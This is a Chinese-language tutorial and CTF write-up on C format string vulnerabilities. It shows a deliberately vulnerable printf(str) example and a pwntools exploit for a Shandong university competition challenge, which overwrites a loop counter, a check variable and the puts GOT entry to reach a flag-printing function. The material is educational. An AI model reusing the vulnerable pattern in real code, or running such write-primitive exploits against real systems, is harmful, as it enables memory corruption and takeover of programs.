一、什么是格式化字符串漏洞?
格式化字符串:printf("格式化字符串",参数...)
触发条件:触发格式化字符串漏洞的函数主要有:printf、sprintf、fprintf、prin等C库中print家族的函数。
特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数,赋值给一个变量。
二、漏洞原因:
1.printf正确用法:
#include <stdio.h>
int main()
{
char str[10];
scanf("%s",str);
printf("%s",str);
return 0;
}
2.printf错误用法:
#include <stdio.h>
int main()
{
char str[10];
scanf("%s",str);
printf(str);
return 0;
}
程序将字符串的输入权交给了用户,那么如果我们的输入为%x等等。。而printf的内部有个指针,就把%x误认为要取的相应参数的值。
例题:第八届山东省大学生网络安全技能大赛--pwn1
dword_804A064限制循环只能执行为1次,但里面有格式化字符串漏洞printf。
同时,发现了catflag的函数,但要求dword_804A060为0x2019时才可以。
所以我们的思路是:
1.通过printf格式化字符串漏洞,先改变dword_804A064的值使循环多次执行
2.再去改写dword_804A060的值为0x2019
3.最后改写puts的地址为sub_8048696,去catflag。
这里使用pwntools下的fmtstr_payload函数,这个函数的作用是用来生成格式化字符串漏洞写内存的payload。
from pwn import *
context.log_level = 'debug'
cn = remote('172.29.1.28',9999)
#cn = process('pwn_MinZhu')
print 'next'
cn.recvuntil('Key:')
cn.sendline('xNd9y6')
print 'next'
cn.recvuntil('your msg:')
payload = fmtstr_payload(4,{0x0804A064:0x3})
cn.sendline(payload)
payload = fmtstr_payload(4,{0x0804A060:0x2019})
cn.sendline(payload)
payload = fmtstr_payload(4,{0x804a01c:0x08048696})
cn.sendline(payload)
cn.interactive()
#xNd9y6